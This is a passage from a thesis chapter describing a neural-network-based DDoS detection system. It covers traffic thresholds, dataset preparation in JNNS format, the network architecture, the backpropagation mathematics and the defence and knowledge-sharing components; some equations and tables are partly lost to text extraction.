pattern for the ANN engine. Instead it is kept in the memory until the ANN engine 
verifies the legitimacy of the traffic. If the Traffic is deemed to be a DDoS attack, then 
the defence component uses the output from the ANN engine and the IP address 
that was temporarily kept in the memory to mitigate the attack.  
 
This means that in each round or each time, a considerable number of packets (a 
sample/batch) is retrieved and prepared as the above format. This approach helps in 
normalising the input values for the ANN algorithm and generates an accurate decision 
(Section 5.5.1). In this example the input patterns are destination/source port numbers, SYN 
flag, and TCP sequence number, source IP (see Chapter 4 for all other patterns).  
Artificial Neural Network (ANN) Engine: The outputs produced by the Calculator are 
picked by the ANN Engine to decide whether the traffic is normal, attack or unidentified. 
However, the ANN engine has to be trained with different datasets to learn more about the 
attacks for making accurate decisions (see Chapter 6 and Appendix 6-1 for the training 
process). 
The above elements are modularly connected together to aid the detection process of known 
and unknown DDoS attacks. However, the accuracy of our detection mechanism relies on 
how well ANN is trained using different combinations of normal traffic and DDoS attack. To 
design the training process, one requires datasets of normal traffic and variety of DDoS 
attacks, training application and input variables – see Sections 5.5.1 and 5.5.2 for further 
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 Dataset Design Preparation and Representation 5.5.1
As pointed out earlier, the accuracy of our detection component primarily relies on how well 
the ANN algorithm is trained. This requires a reasonable number of datasets that contain a 
mixture of DDoS attacks and genuine traffic. Moreover, the datasets have to be organised 
and structured in a qualified format that is acceptable to the training application. In this 
section we focus on dataset design and preparation, which is later used in Chapter 6 Section 
6.3. To achieve a successful training process, one requires: 
A. A training application that trains the Artificial Neural Network (ANN) algorithm.  
B. Qualified datasets that contain DDoS and genuine traffic. This entails: 
1. Retrieving data from the network based on thresholds.  
2. Data preparation.   
3. Acceptable dataset representation for the training application (e.g. JNNS). 
C. A Neural Network architectural structure (input, hidden and output layers). 
 
Point A and B are further explained in the following sub-sections, while point C is explained in 
Section 5.5.2.  
A) Training Application 
Different training applications such as MatLab Neural Network Toolbox [117], InforSense [83] 
and Java Neural Network Simulator (JNNS) [4] are developed for the purpose of algorithm 
training and validation. These applications are known for their accuracy and good features. 
Some are used for commercial purposes (e.g. InforSense) while others are used for research 
purposes (e.g. JNNS). We have chosen JNNS due to its popularity, accuracy, ease of use 
and licensing scheme (free to use). JNNS is the Java version of Stuttgart Neural Network 
Simulator (SNNS) that was initially written in C programming language. It provides a 
Graphical User Interface (GUI) to help end users upload datasets, select learning ANN 
algorithms and control errors. JNNS provides different functions and learning algorithms such 
as Back-Propagation, Quick-prop and RPROP [64] [79] [127]. To select the most relevant 
approach, we began by learning and experimenting with the approaches that are most 
suitable to achieve our requirements (see Section 5.5.2).   
B) Qualified Datasets  
As explained in [4] [79] [127] [154], training the ANN algorithm with one type of data (e.g. only 
attack generated from zombies) can introduce detection deficiency. This is because the ANN 
algorithm responds based on a variety of different patterns, and the more relevant patterns 
that are used to train the ANN algorithm, the better it responds to genuine and DDoS traffic 
detection. Therefore, our datasets contain mixed data of genuine traffic generated by genuine 
services, attack patterns produced by DDoS zombies and other attack traffic that is similar to 
genuine traffic.  
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The data log files that have been obtained from the experiments in Chapter 4 contain 
hundreds of lines of packet information (see Appendices 4-1 and 4-4). Such information 
needs to be organised for the ANN algorithm. One possible approach is to feed the ANN one 
pattern at a time until the algorithm has learned all the patterns. Alternatively, one can train 
ANN with batches of patterns at a time until the algorithm learns the patterns. Suppose we 
retrieve 1000 ICMP packets of which 400 packets are genuine packets while 600 packets are 
attacks. The patterns that are used for ICMP DDoS detection are ICMP-ID, ICMP-SEQ and 
SRC-IP (see Chapter 4). If we use the first approach, then we need to prepare 400 lines of: 
1 ICMP-ID, 1 ICMP-SEQ 1 SRC-IP (attack) 
1 ICMP-ID, 1 ICMP-SEQ 1 SRC-IP (attack) 
1 ICMP-ID, 1 ICMP-SEQ 1 SRC-IP (attack) 
 
And in the same data file we prepare 600 lines of. 
1 ICMP-ID, 1 ICMP-SEQ 1 SRC-IP (genuine) 
1 ICMP-ID, 1 ICMP-SEQ 1 SRC-IP (genuine) 
1 ICMP-ID, 1 ICMP-SEQ 1 SRC-IP (genuine) 
 
Alternatively, one can arrange them in the following formats (example 5-1): 
200 ICMP-ID, 195 ICMP-SEQ & 200 SRC-IP (attack) 
196 ICMP-ID, 200 ICMP-SEQ & 200 SRC-IP (attack) 
199 ICMP-ID, 200 ICMP-SEQ & 200 SRC-IP (attack) 
200 ICMP-ID, 200 ICMP-SEQ & 200 SRC-IP (genuine) 
200 ICMP-ID, 200 ICMP-SEQ & 200 SRC-IP (genuine) 
 
Example 5-1: Traffic representation. 
The approach in Example 5-1 requires batching packet header entities (patterns) and 
representing them as input values for ANN in a dataset. The bottom 2 lines are genuine 
packets, as the packets are not forged, the total number of headers is equal (200 ICMP-ID, 
200 ICMP-SEQ 200 SRC-IP) while lines 1-3 represent forged packets. The header field 
values represented in lines 1-3 are not in order. This is because when the packets were 
retrieved, some field headers of the packets (e.g. ICMP-ID) were zero (i.e. forged with zero 
value) and therefore they were not counted (e.g. line 2, 196 ICMP-ID, 200 ICMP-SEQ & 200 
SRC-IP -where 4 packets had zero value assigned to ICMP-ID). The approach shown in 
Example 5-1 provides better results than the first since the algorithm takes the input values in 
a normalised manner. This means the input values are normalised before we train the 
algorithm. The purpose of normalisation is to maximise the performance in sensitive 
applications like ours where accurate detection is vital. However, if the input values are not 
normalised but applied directly, then large values may suppress the influence of smaller 
values [154]. Jayalakshmi and Santhakumaran [244], and Zhang and Sun [250] have 
explained the positive effects of normalisation on the ANN performance and training process.  
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1) Thresholds  
During the experiments and data collection, we retrieved all related packets and logged them 
into files. The data was then manually organised into the format explained in Example 5-1. 
This process was time consuming and caused some delays. Another approach was to 
introduce a methodology that automatically takes different random numbers of packets, 
removes the unwanted parts, batches them and prepares them into Example 5-1 format. 
Packets are in continuous flow from one point to another at different periods of time (peak/off 
peak). These packets hold different information depending on the service and protocol. 
Based on the time of day, the day of the week or the week of the year, packets travel in 
different conjunct channels forming a flow of traffic. The rate and volume of such traffic is 
different from one network to another depending on how close the network is to the backbone 
network and what type of Internet connection is used [141]. One can introduce a logical 
approach to identifying the largest number of packets per protocol during high and low peaks 
of network traffic rates. We call such a logical approach packet threshold. Each protocol 
(ICMP, UDP and TCP) has its packet threshold, where any number of packets greater than 
the specified threshold is subjected to investigation. The thresholds provide the following 
benefits:  
  Packet rates greater than the threshold per protocol are subject to investigation 
(better control).  
 The overall system uses fewer resources by only investigating the packet rates that 
are greater than the threshold.  
 Continuous packet retrieval from the network can cause genuine packets to be lost 
or discarded, due to continuous investigation.  
 
Depending on the environment and time of day/night (peak time or off peak), different 
packets tend to be higher than others in number. For example, TCP traffic is usually higher in 
number of packets than any other protocol due to its usability by different online applications, 
while ICMP is less usable than TCP and UDP [213]. To calculate the number of packets per 
second, we have physically retrieved the traffic from different points in the network during 
peak and off-peak periods in three different corporate environments. We have used IPTraf 
[231] on three different gateways: (BSD [21], Debian [52] and Slackware [230]) in three 
different locations. We have used the same network setup as Figure 4-1 Chapter 4, but on 
the gateways we used IPTraf instead of tcpDump. The gateways connect the corporate 
network environments to the outside Internet. IPTraf application was installed and configured 
on each device to measure the number of packets. We began by retrieving packets every 5 
seconds (as this is an IPTraf default value and recommended by IPTraf) for 4 hours (two 
during peak hours and two off peak). The result of this experiment is recorded in Appendix 5-
2, but a sample of the records is tabulated in Table 5-2. The traffic is measured when DDoS 
attacks were inactive.  
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Protocol Gateway/Location Number of packets per 
5 seconds at peak time 
Number of Packets per 
5 seconds at off peak 
time 
ICMP BSD gateway/location 
one 
90 packets 60 packets 
  110 packets 100 packets 
  490 packets 320 packets 
  520 packets 350 packets 
  590 packets 360 packets 
  600 packets 360 packets 
UDP Slackware 
gateway/location three 
2599 packets 3030 packets 
  3122 packets 1212 packets 
  3313 packets 1213 packets 
  3233 packets 2213 packets 
  3490 packets 1410 packets 
  2255 packets 1215 packets 
  2330 packets 1310 packets 
TCP BSD gateway/location 
one 
2290 packets 2260 packets 
  2110 packets 3100 packets 
  2250 packets 3200 packets 
  2310 packets 3220 packets 
  2400 packets 2310 packets 
  2490 packets 2320 packets 
  3520 packets 1350 packets 
 
Table  5-2: Number of packets in different gateways. 
 
We have repeated this process several times in three different corporate environments and 
recorded the numbers of packets to determine realistic thresholds for normal traffic. Based on 
the measurements we have recorded in Appendix 5-2, the following numbers are our choice 
of thresholds:  
Packet threshold for ICMP = 600 packets.  
Packet threshold for TCP = 4000 packets.  
Packet threshold for UDP = 4000 packets 
 
The values above are selected, because they were the highest number of packets and most 
repetitive average values per protocol in our experiments. Meaning, value 4000 was the 
highest and most repetitive average value for TCP and UDP while 600 was the highest and 
most repetitive average value for ICMP. Our corporative traffic did not experience higher 
values of genuine traffic than the above figures. However, we justified our threshold selection 
when we increased and decreased the threshold values.   
Any packets greater than 600, 4000 
are subjected to investigation.   
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We have selected number of packets as they are easier to control and understand. Such an 
approach also makes the implementation process easier for counting and separating header 
fields such as ICMP-ID, source/destination port numbers, TCP sequence numbers, etc. The 
results of such justification are verified in Chapter 7, Section 7.6. The above values might 
look low for a busy network, but our records (Appendix 5-2) show otherwise. Meanwhile, low 
rate DDoS attacks (described in Chapter 1) generate low numbers of forged packets and 
having low thresholds prevents them from bypassing the detection system. However, our 
solution was tested and verified against low rate DDoS (e.g. Network Auto Attack [184] and 
Hyenae [46]) to‎ identify‎ our‎ solution’s‎ response‎ to‎ low‎ rate‎ attack.‎ Hence, the ANN 
investigates any packets greater than the above thresholds. We did not select one threshold 
for all three TCP, UDP and ICMP protocols, because we designed our DDoS Detector based 
on three separate instances and having one threshold can introduce a single point of failure 
(see Chapter 6). One requires another mechanism to capture packets for a period of time. 
We could either program a timer to specify the time period during which packets are 
captured, or use a pseudo random generator between minimum and maximum values. At 
first, we used a timer to run for a period of time and packets were retrieved from the network. 
However, this approach was neither practical nor feasible due to the time conflict that 
occurred between the operating system and the VirtualBox (VBox) timer. The other solution 
was to introduce a pseudo random number generator between minimum and maximum 
values. To explain this approach, we take ICMP packets as an example in the following 
steps:  
 Based on the result of our experiments (Appendix 5-2), the ICMP packet threshold is 
600 packets. 
 The detection component retrieves the packets form the network (one by one), but 
no action is taken against the packets. 
 As soon the number of packets exceeds the threshold value (600 packets), the 
detection component begins to collect and count the packets.  
 Meanwhile, a pseudo random number generator propagates a number. 
 The system stops retrieving packets when the total number of collected packets is 
equal to the generated random number. At this point, the Organiser decodes the 
packets, removes unwanted characters and prepares them for the Victim IP Identifier 
module to take over.  
 
Our pseudo random number generator consists of maximum and minimum values. A random 
number between the maximum and minimum values is generated. Then the detection 
component compares it with the total number of captured packets. If the random number is 
equal to the total number of captured packets, the detection component activates the 
Organiser to organise the retrieved packets. Otherwise, another random number is generated 
while more packets are retrieved from the network by the DDoS Detector.  
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This process continues until one random number is equal to the total number of retrieved 
packets. Our experiments show the following records in Table 5-3, which provides 
reasonable figures for our maximum and minimum values.  
 
Protocols Thresholds Minimum- Packets Maximum-Packets 
TCP 4000 6142 13822 
UDP 4000 6142 10822 
ICMP 600 9142 18220 
 
Table  5-3: Thresholds, maximum and minimum number of packets. 
 
An alternative to the above approach is to have a fixed number of packets to be retrieved 
from the network. However, the ANN algorithm learns more about the nature of the attacks 
and genuine traffic if a different range of values (packets) is introduced than a fixed value of 
packets [79] [127] [154].  
2. Data Preparation 
Once data is collected and organised, it needs to be prepared and assigned 1 (attack) or 0 
(genuine) to be eligible for training purposes. In Table 5-4, we represent each set of protocols 
according to their header information and destination IP addresses. The table consists of 
genuine and DDoS records that we obtained from our experiments and dataset collections. 
The last column on the right represents attack or non-attack values where 1 represents 
attack and 0 is genuine traffic.  











































ICMP 7231‎ 7231 7100        1 
UDP 3212‎   3212 3101 3101     1 
TCP 3555      3555 3423 3555 3399 1 
UDP 100‎   100 100 100     0 
TCP 2998‎      2708 2708 2998 2998 1 
ICMP 6089‎ 6040 6021        1 
TCP 1723‎      1723 1723 1723 1723 0 
UDP 150‎   150 150 150     0 
ICMP 3288‎ 3288 3288        0 
TCP 4255‎      4255 4255 4255 3399 1 
UDP 3400‎   3299 3400 3299     1 
ICMP 1631‎ 1631 1631        0 
UDP 3512‎   3212 3501 1101     1 
TCP 4498‎      4498 4498 4498 2998 1 
TCP 555‎      555 555 555 555 0 
UDP 3401‎   3401 3401 3201     1 
ICMP 6555‎ 6555 6555        1 
UDP 99‎   99 99 99     0 
 
Table  5-4: Attacks and genuine traffic. 
 
Table 5-4 represents different packets generated from different locations to individual 
destination addresses with different header information (see Appendix 5-3 for more data). 
Each set of protocol packets is separated and counted according to its header information 
and destination IP addresses. After we collected the datasets and separated them, we 
observed the following behaviours.  
1. For some collected records (e.g. the UDP record at the bottom of the table), the 
header information is equal in numbers (99 source port numbers, 99 destination port 
numbers, 99 source IP and 99 length counts). This is an expected behaviour, since 
no packets have been forged and hence the header information should have the 
same values as the number of packets.  
2. It is also proven that some attacks appear to be genuine as indicted in the second 
row at the bottom of Table 5-4 (6555 Source IP, 6555 ICMP-ID and 6555 ICMP-
SEQ). The DDoS attacker manipulates the packets to appear genuine and to 
confuse detection systems.  
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This is an interesting behaviour yet expected as mentioned in Chapters 1 and 4. 
However, this assists the ANN algorithm to learn different possibilities and 
behaviours of DDoS attacks such as this one.  
3. If we take the second row from the top, we can see the header information (3213 
source IP, 3212 source port numbers, 3101 destination port numbers, 3101 UDP 
length) does not match the number of packets retrieved from the network (unlike 
point 1). This is mainly due to the fact that some of the header information bits are 
forged by the DDoS attacker with null or zero instead of numbers.  
 
If the ANN algorithm fails to identify a flow of traffic (genuine or DDoS attack), then the 
detection component outputs unidentified value (represented as 2). We have further 
narrowed and simplified Table 5-4 into three smaller and easier tables. 
Protocol No.‎‎SRC-IP No.‎ICMP-ID No.‎ICMP-Seq Attack/Non-Attack 
ICMP 7231 7231 7100 1 (Attack) 
ICMP 6089 6040 6021 1 (Attack) 
ICMP 3288 3288 3288 0 (Non-Attack) 
ICMP 1631 1631 1631 0 (Non-Attack) 
ICMP 6555 6555 6555 1 (Attack) 
 























TCP 3555 3555 3423 3555 3339 1 (Attack) 
TCP 2998 2708 2708 2998 2998 1 (Attack) 
TCP 1723 1723 1723 1723 1723 0 (Non-Attack) 
TCP 4255 4255 4255 4255 3399 1 (Attack) 
TCP 4498 4498 4498 4498 2998 1 (Attack) 
TCP 555 555 555 555 555 0 (Non-Attack) 
 
TCP header information coupled with DDoS attack or non-attack.  
 








UDP 3212 3212 3101 3101 1 (Attack) 
UDP 100   100 100 100 0 (Non-Attack) 
UDP 150 150 150 150 0 (Non-Attack) 
UDP 3400 3299 3400 3299     1 (Attack) 
UDP 3512 3212 3501 1101     1 (Attack) 
UDP 3401 3401 3401 3201     1 (Attack) 
UDP 99 99 99 99 0(Non-Attack) 
 
UDP header information coupled with DDoS attack or non-attack.  
 
The values from the above tables are examples of records from Appendix 5-3 that we 
collected and organised from different experiments. 
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3) Dataset Representation for the training application (JNNS) 
Before we start the implementation of any topological structure or selecting learning 
algorithms, we require the conversion of the data from Table 5-4 into a specific format that 
JNNS accepts. This is because JNNS, like other training applications, is designed to accept 
datasets in its own format. This process is simple; yet time consuming due to the large 
number of datasets we collected. The layout of the format consists of a number of patterns 
(i.e., the number of patterns that are used to represent genuine traffic and DDoS attacks), 
input and output values where any mistakes (syntax or unrelated values) in the file are 
rejected by the JNNS application. Example 5-2 is a small part of the datasets represented in 
Appendix 5-4.  
SNNS pattern definition file V3.2 
generated at Thu Dec 27 15:10:15 2012 
 
No. of patterns : 3504 
No. of input units : 3 
No. of output units : 1 
 
#In: 




































0.60383306     0.60383306         0.60383306 
#Out: 
1 
Example 5-2: Format of dataset that JNNS accepts. 
 
- 144 - 
 
The above sample is a representational example of an ICMP dataset that specifies normal 
traffic and DDoS attacks. This template was initially introduced and used by SNNS, but since 
JNNS is based on SNNS, such a representation is acceptable by either application. When 
the dataset is uploaded to JNNS, it first reads the number of patterns (in the above example it 
is 3504), and the number of inputs and outputs (3 inputs - 1 output). Example 5-2 contains 
genuine traffic and a DDoS attack. For example the first line (0.427184466, 0.427184466, 
0.427184466) represents genuine traffic (all three values are the same and no packets are 
forged) while line 6 represents an ICMP DDoS attack (0.864242845, 0.888242845, 
0.854242845) where the values are different (packets are forged). However, line 3 represents 
a DDoS attack that looks genuine (0.852981969, 0.852981969, 0.852981969). The input 
values have been normalised to increase performance and accuracy as explained earlier in 
this section. In this case, as supported by JNNS, normalisation is the process of dividing 
each input pattern in the column by the column´s maximum positive value [228]. The output 
represents 1 as attack and zero as normal (genuine) traffic. Such an approach provides more 
meaningful results with less error, and the output values are closer to one and zero [154]. 
Using the same format as shown in Example 5-2, our ANN algorithm was trained with the 
total of 13170 ICMP, UDP and ICMP DDoS and genuine patterns. 
 
 Neural Network Architectural Model and Functions 5.5.2
At this point, we know the characteristic patterns (input values) of ICMP, UDP and TCP 
protocols. We also learned the format that JNNS accepts to proceed with the training 
process. However, the overall ANN training process is not complete if the learning algorithm 
and the activation function are not selected. We began by performing different experiments to 
identify the learning algorithm that provides the best Detection Accuracy (see Chapter 2 for 
relevant research on this). Our experiments were categorised according to protocol types, 
learning algorithms, functions and topological structures. With this approach, one can identify 
the most suitable learning model and activation functions that provide high Detection 
Accuracy results. The learning models coupled with their activation functions are shown in 
Table 5-5.  
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Backprop thru time 
A class of ANN where 
connections between 
the units form a direct 
cycle –This model has 
difficulty with local 








Associates one pattern 
with another pattern. It 
consists of two layers 
where the patterns are 
mapped when the 






Calculates output layer 
from its inputs [180]. 
 
Table  5-5: Different learning models and activation functions. 
 
The above learning Models and functions are widely used by Artificial Neural Networks. 
However, one model and activation function is required for use in our ANN design. We 
therefore executed different experiments to identify the right model, activation function and 
hidden layers so that the design with highest Detection Accuracy to detect normal and DDoS 
attacks would be selected. The results of the experiments are shown in Table 5-6.  
 















Best result recorded with one hidden 
layer & four hidden nodes using 
Sigmoid (Logistic). 
 QuickProp 97.08% 
80% (CPU 
Utilisation) 
Best result recorded with two hidden 






Best result recorded with two hidden 







Best result recorded with three hidden 









Best Result recorded with one hidden 
layer & three hidden nodes using 
Sigmoid (Logistic). 
 QuickProp 97.09% 
75% (CPU 
Utilisation) 
Best result recorded with one hidden 






Best result recorded with two hidden 







Best result recorded with two hidden 









Best Result recorded with one hidden 
layer & four hidden nodes using 
Sigmoid (Logistic). 
 QuickProp 97.06% 
76% (CPU 
Utilisation) 
Best result recorded with one hidden 







Best result recorded with three hidden 







Best result recorded with one hidden 
layer & four hidden nodes using 
SoftMax. 
 
Table  5-6: Combined results of activation function, learning algorithm and hidden layers. 
 
In our experiments, we used Logistic, Elliott, BAM and SoftMax, but we did not specify the 
range of hidden nodes or hidden layers. Instead we focused on the number of hidden layers, 
hidden nodes, learning algorithms and activation functions that provide the highest Detection 
Accuracy. A detailed compression of different activation functions can be found in [202]. 
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Also, instead of Sensitivity or Specificity, we used Detection Accuracy to measure the 
detection outcome since it provides the proportion accuracy of detecting DDoS attacks and 
genuine traffic that looks like DDoS attacks (see Chapter 0 for Sensitivity, Specificity and 
Accuracy definitions). Furthermore [79] [127] explains that increasing hidden layers and 
nodes does not necessary provide the desired outputs or accuracy. We have used 3 input 
nodes for ICMP, 5 inputs for TCP and 4 inputs for UDP protocols as shown in Figures 5-4, 5-
5 and 5-6 respectively. As explained in Chapter 6, we have used 80% to train the algorithms 
and 20% to validate it. However, we tested the outcome of each of the above in a physical 
environment where we launched different DDoS attacks (using DDoS tools) and genuine 
traffic that looked like DDoS attacks (using Jmeter tool). This is to practically learn about the 
detection process and identify its best accuracy. The percentage values are based on 
Detection Accuracy described in Chapter 3, Section 3.3 while the CPU utilisation values are 
obtained from the operating system´s built-in service application. Based on the experiment 
results recorded in Table 5-6, we have selected the following to design our TCP, UDP and 
ICMP ANN architectural structure.  
1) One hidden layer with a maximum number of 4 hidden nodes, because: 
a) The results of our experiments (Table 5-6) showed that increasing hidden layers and 
hidden nodes does not increase the Detection Accuracy (average 98%).  
b) Increasing the number of hidden layers and hidden nodes increases the CPU 
utilisation, as is also shown in Table 5-6. By using one hidden layer, we obtained an 
average of 71% CPU utilisation for UDP and an average of 70% CPU utilisation for 
ICMP and TCP. This means, the process of detecting UDP DDoS attacks or genuine 
traffic with one hidden layer requires an average of 71% of the total CPU utilisation 
and an average of 70% when ICMP and TCP DDoS attacks or genuine traffic are 
verified. These values are relatively low compared with other average CPU utilisation 
values shown in Table 5-6 (e.g. 87%, 85%, 82% or 80% CPU utilisation) 
 
2) Supervised Back-Propagation with Sigmoid (Logistic function on each node) has also been 
selected due to its high Detection Accuracy as shown in Table 5-6. Meanwhile related 
documentation and literature background [5] [79] [127] [154] [180] shows that Back-
Propagation with Sigmoid provide better accuracy in pattern recognition and is more bounded 
to positive values. A Back-Propagation network learns by example (patterns) and the more 
new examples one provides, the better it would be at identifying DDoS attacks and genuine 
traffics. The algorithm does this by changing the network weights between the nodes until the 
required output is obtained. Arguably, Sigmoid activation function produces better results 
than the threshold function. In the threshold function the process depends on whether the 
total input is bigger or smaller than a predefined threshold [5] [180]. Furthermore, threshold 
activation functions that are used by some Neural Networks are difficult to train since the 
error function is stepwise constant, which makes the training process more difficult.  
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This means the gradient is either zero or it does not exist and that makes Back-Propagation 
hard to use [79] [127] [64] [5] [180]. Sigmoid function is known for its flexibilities when a small 
change in the weights is introduced, a noticeable change will be observed in the output layer. 
This behaviour does not particularly exist in the threshold activation function and no changes 
are observed. Meanwhile, our output is bound between zero and one and Sigmoid provides 
such a feature, so our choice was the Back-Propagation network coupled with the Sigmoid 
function defined by the expression [79] [127]: 
  ( )   
 
       
 
The constant c can‎be‎ selected‎arbitrarily‎ and‎ its‎ reciprocal‎ 1/c‎ is‎ called‎ the‎ ―temperature‎
parameter in stochastic‎neural‎networks‖‎[238].  The graphical shape of Sigmoid will change 
based on c parameter. We could not, however, change this value and test the outcome as 
this feature was not accessible within JNNS training application. At the end, using results 
from the experiments (Table 5-6) and literature background about the algorithms and 
activation functions, we made the following technical decisions:  
 One hidden layer with a maximum of four hidden nodes (four hidden nodes for TCP 
& ICMP, while UDP is concluded with three hidden nodes).  
 Back-Propagation that provides high accuracy and is most suited for pattern 
recognition.  
 Sigmoid to be our activation function due to its accurate results and compatibility with 
Back-Propagation. 
  
Based on the above explanations, we have designed the following three topological designs. 
 
 
Figure  5-4: TCP Artificial Neural Networks (ANN) topological structure. 
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Figure 5-4 is the ANN TCP topological structure where the top layer of the Neural Network is 
the input layer, which is linked to the middle nodes known as the hidden layer nodes. Then 
the hidden layer nodes are connected to one output node. The input layer consists of five 
nodes that accommodate TCP sequence, TCP flags, source and destination port numbers 
and source IP addresses (see Chapter 4, Section 4.8).    
 
Figure 5-5 represents an ANN ICMP topological design structure where the top layer consists 
of three input nodes. These are source IP address; ICMP sequence number and ICMP-ID 
(see Chapter 4, Section 4.8).  
 
 
Figure  5-5: ICMP Artificial Neural Networks (ANN) topological structure. 
 
Figure 5-6 represents ANN UDP topological design structure where the top layer consists of 
four input nodes and the hidden layer consists of three hidden nodes. The input nodes are 
source IP address, packet length, UDP source and destination port numbers (see Chapter 4, 
Section 4.8).    
 
 
Figure  5-6: UDP Artificial Neural Networks (ANN) topological structure. 
- 150 - 
 
 
Figures 5-4, 5-5 and 5-6 are designed and built using JNNS, which is also used to train the 
ANN algorithm (see Chapter 6 and Appendix 6-1). According to JNNS documentation, the 
nodes have different colours to represent each with different weight values. The colours are 
adjustable‎and‎can‎be‎changed‎based‎on‎user’s‎preferred colour scheme [4]. The values on 
each connection between any two nodes are known as weight values (See Chapter 6, 
Section 6.3, Table 6-3 for the recommended weight values). The algorithm adjusts the 
weights on the connections between the layers in order to minimise errors and introduce an 
output that is closest to the desired output (1-attack, 0-normal). By default, the hidden nodes 
are‎ unnamed,‎ but‎ can‎ be‎ named‎ according‎ to‎ user’s‎ need.‎ However,‎ such‎ a‎ feature as 
explained by the JNNS documentation does not affect the training process. The nodes 
between the layers are connected via a Feed-Forward approach. There are two known 
approaches that assist in connecting the ANN nodes together. These are Feed-Forward 
networks and Feed-Back networks [79] [127] [153]. Feed-Forward networks allow signals to 
travel one way (from input to output) and avoid loopbacks. Feed-Back networks can 
introduce signal looping, which makes the calculations more complicated when signals loop-
back to previous layers [79] [153]. Furthermore, Feed-Back states change continuously until 
they reach equilibrium and then change again when new inputs are added. In our design 
Feed-Forward was selected to avoid looping and decrease the computation throughput 
process between the nodes when connected, which increases the detection rate [79] [127]. In 
addition, Feed-Forward suits our pattern detection mechanisms better when supervisory 
trained.  
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 Computational Process 5.5.3
Typically, in a Back-Propagation algorithm, the input values are multiplied by their weight 
values (see Equation 1) and if the output results are equal to the activation, then nodes are 
defined as linear with very small limitations.  
  ( ̅  ̅)   ∑      
 
                  (1) 
 
Where: 
                  
                                                 
  ( ̅  ̅)                                 
 
Therefore, we require a unit node whose output is a nonlinear function of its inputs. 
Furthermore, its output must be a differentiable function of its inputs. This can be achieved 
using the Sigmoid equation (Equation 2) [127] which is represented in Figure 5-7. 
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Figure  5-7: Sigmoid unit representation 
 
The purpose of the training algorithm is to obtain the desired output where weight on each 
connection is adjusted to minimise errors (desirable output).  The error for one node can be 
defined as the difference between the actual output and the desired output, which can be 
represented in Equation 3.  
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However, the error of the entire network is the sum of the error of all the units (neurons) in 
the output layer (see Equation 4). 
 (   ̅   ̅̅ ̅   )    ∑   (   (   ̅   ̅̅ ̅)     )
 
     (4) 
 
 
In Equations 3 and 4, we used the square of the differences between output and desired 
target because the output value will always be positive. As we pointed out earlier, one needs 
to adjust the weights on the connections in order to obtain the output that is closest to the 
desired output using the gradient descent [79] (see Equation 5).  
          
  
    
                                        (5) 
The adjustment of each possible weight will be a negative value of the constant η that is 
multiplied by the dependence of the previous weight on the error of the network [38]. This is 
the derivative of E with relation to    . If the weight contributes a high number of errors, then 
the adjustment will be higher than if it contributes a smaller number [38]. This will be used to 
minimise the error as much as possible for more accurate results. The aim of the Back-
Propagation learning algorithm is to identify the derivative of E with respect to   , but first we 
need to calculate the derivatives of E in relation to the   . Therefore from equation 3: 
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The output depends on the activation function, which in turns depends on the weights on the 
connections. Therefore from Equations 1 and 2: 
 
From Equation 2:  
                                          
 
      
 
 
Using chain rule: 
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From the above:  
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Add +1 and -1 as they are equal to 0.   
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From Equation 1:   
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Then combining Equations 6 and 7: 
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We get Equation 8: 
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So the adjustment to each weight will be Equation 9 from Equations 5 and 8. 
  
Equations 5: 
          
  




    
   (     )  (    )   
Then  
                                                              (     )  (    )                  (9) 
 
From our experiments in Table 5-6, ANN implementation with Back-Propagation does not 
require too many hidden layers since the time required for training the algorithm grows 
exponentially. Moreover, increasing the number of hidden layers will increase the 
computation process and yet it does not increase the Detection Accuracy. We adopted and 
adapted the above mathematical equations from [79] [127] [64] [38].   
 
5.6 Defence and Knowledge Sharing Components  
The defence and knowledge sharing components complement each other when it comes to 
mitigating the attack and sharing the information between the DDoS Detectors. When the 
detection system analyses the traffic and ANN confirms it to be a DDoS attack, the defence 
component activates its defence element while the knowledge sharing component informs 
the other DDoS Detectors. The defence component takes no action if the outputs of the 
detection component verify abnormal traffic to be genuine. However, the knowledge sharing 
component informs other DDoS Detectors about the legitimacy of the traffic. The aim of this 
form of collaboration between the DDoS Detectors is to increase countermeasures when 
some DDoS Detectors have detected an attack while other detectors have failed. In Section 
5.2, we provided different use-cases that explain Figures 5-1 and 5-2. Based on this, Figure 
5-8 provides a schematic explanation of the defence and knowledge sharing components of 
a DDoS Detector.  
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Figure  5-8: Defence and knowledge sharing components of a DDoS Detector. 
 
 
The purpose of the defence component is to mitigate the attack and release any restrictions 
when the threat no longer exists. The knowledge sharing component is used to inform other 
DDoS Detectors and the Security Officer about the attacks and to use such information when 
required. The components consist of the following elements:  
Share-log: This element is used to store information (attack or genuine traffic) received from 
other DDoS Detectors in the form of destination address and type of the traffic (TCP, UDP, 
ICMP DDoS attack or genuine traffic). Such information is: 
 Used when a flow of abnormal traffic is defined as unidentified (represented as 2). At 
this point the DDoS Detector uses information from other detectors to drop or allow 
the abnormal traffic.  
 Used by the knowledge sharing component to inform the Security Officer about 
different traffic (genuine or DDoS) and indeed other DDoS Detectors. The traffic 
information is kept in the share-log for as long as needed, but it can be configured to 
be removed or archived.   
 
Share-log receives such information via encrypted message, which is an element of the 
knowledge share component (see secure connection). 
- 156 - 
 
Deploy defence: If the output of the detection component is 1, then defence is deployed by 
blocking the‎forged‎packets‎towards‎the‎victim’s‎destination.‎If‎the‎output‎of‎the‎detection‎is‎
0, then no action is taken as the traffic examined is deemed to be genuine. If the output is 2, 
it checks the share-log file and: 
 If the same traffic towards the same destination is verified by other DDoS Detectors 
(at least one detector) and received from them as 1, then it activates defence.   
 If the same traffic towards the same destination is verified by other DDoS Detectors 
(at least one detector) and received from them as 0, then no action is taken (traffic is 
genuine). 
 If the same traffic towards the same destination is verified by other DDoS Detectors 
(at least one detector) and received from them as 2, then no action is taken, but at 
this point the ANN algorithm needs to be re-trained (see later, Scenario four). 
 If no records from other DDoS Detectors are received, then no action is taken but an 
email is sent to the Security Officer to take action.    
 
Release restriction: The detection component is in continuous mode, to monitor the network 
for abnormalities. During this monitoring process, if the detection component verifies any 
previously blocked forged traffic as genuine, then the release restriction element of the 
defence component removes the restriction towards the destination.  
Secure connection: This element belongs to the knowledge sharing component. Its primary 
use is to send encrypted messages to other DDoS Detectors. The knowledge sharing 
component uses local information (attack or genuine traffic), encrypts a message and 
automatically and safely sends it to other DDoS Detectors. The message is stored in the 
DDoS Detector´s destination share-log file.  
Email sent: This element is used to compose and send emails to the Security Officer, which 
contains all the information that the local DDoS Detector has, and all the other relevant 
information received from other DDoS Detectors via the secure connection.   
 
As explained in Section 5.5, the detection component retrieves and arranges batch of 
packets from the network, the Organiser organises them, the Victim IP Identifier identifies the 
victim´s IP and the Calculator prepares them for the ANN algorithm to decide the legitimacy 
